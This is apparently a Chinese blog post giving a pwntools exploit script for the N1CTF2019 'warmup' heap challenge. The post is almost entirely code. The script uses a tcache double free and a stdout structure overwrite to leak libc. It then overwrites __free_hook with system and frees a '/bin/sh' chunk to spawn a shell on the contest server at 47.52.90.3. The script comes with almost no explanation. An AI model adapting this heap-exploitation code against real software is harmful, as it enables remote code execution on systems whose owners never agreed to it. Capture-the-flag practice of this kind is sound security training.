AOSP卷轴

N1CTF2019

warmup

#!/usr/bin/env python
#coding=utf8
from pwn import *
p=process('./warmup')
#p=remote('47.52.90.3',9999)
ctx = context
ctx.terminal=['tmux','splitw','-h']

#----- debug info -----#
# ctx.log_level = 'debug'
#gdb.attach(p)
#add 0xb98
#edit 0x00D68
#----- debug info -----#

#----- quick script -----#
sd =lambda c:p.send(c)
sdl =lambda c:p.sendline(c)
sda = lambda a,c: p.sendafter(a,c)
sdla = lambda a,c: p.sendlineafter(a,c)
rl =lambda c:p.recvline()
ru =lambda c:p.recvuntil(c,True)
rle =lambda c:p.recvline_endswith(c,keepends=False)
rls =lambda c:p.recvline_startswith(c,False)
rn = lambda c:p.recvn(c)
uu64 = lambda c:  u64(c.ljust(8,'\x00'))
itr =lambda :p.interactive()
#----- quick script -----#

#----- global variables -----#
note_list=0x0202080

#----- global variables -----#

def cmd(idx):
    sda('>>',str(idx))

def add(c):
    cmd(1)
    sda('content>>',c)

def free(idx):
    cmd(2)
    sda('index:',str(idx))

def edit(idx,c):
    cmd(3)
    sda('index:',str(idx))
    sda('content>>',c)

def attack():
    print('Sleeping')
    #sleep(4)
    print('Waked up!')

    add('0') #670;
    add('1')
    add('2')

    free(0)
    free(0)
    free(0)
    free(0)

    add(p8(0x60)) #0 #670
    add('3') #670 #3
    add(p64(0)+p64(0x51)) #660 #4

    free(0)
    edit(2,'debug')

    edit(4,p64(0)+p64(0xa1))

    for i in range(7):
        free(3)
    free(3)

    edit(4,p64(0)+p64(0x51)+p16(0x7760))
    add('0')
    add('3')

    free(0)
    #free(0)
    gdb_ok=False
    # edit(2,'debug')
    edit(3,p64(0xfbad3c80)+p64(0)*3+p8(0))

    libc_base=uu64(rn(14)[8:14])-0x3ed8b0
    print(hex(libc_base))
    free_hook=0x3ed8e8+libc_base
    sys=libc_base+0x4f440
    if (libc_base&0xfff)==0:
        gdb_ok=True
        print('--'*10+"GOOD"+'--'*10)
        #gdb.attach(p)
    else:
        return

    edit(4,p64(0)+p64(0x51)+p64(free_hook))
    add('0')
    add(p64(sys)) #5
    print('--'*10+"GOOD"+'--'*10)
    #if gdb_ok:
    #    gdb.attach(p)
    add('/bin/sh') #6
    free(6)

    itr()
    pass


if __name__=="__main__":
    #attack()
    while True:
        try:
            attack()
            p.close()
            p=remote('47.52.90.3',9999)
            #gdb.attach(p)
        except EOFError:
            p=remote('47.52.90.3',9999)
            #gdb.attach(p)

---

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。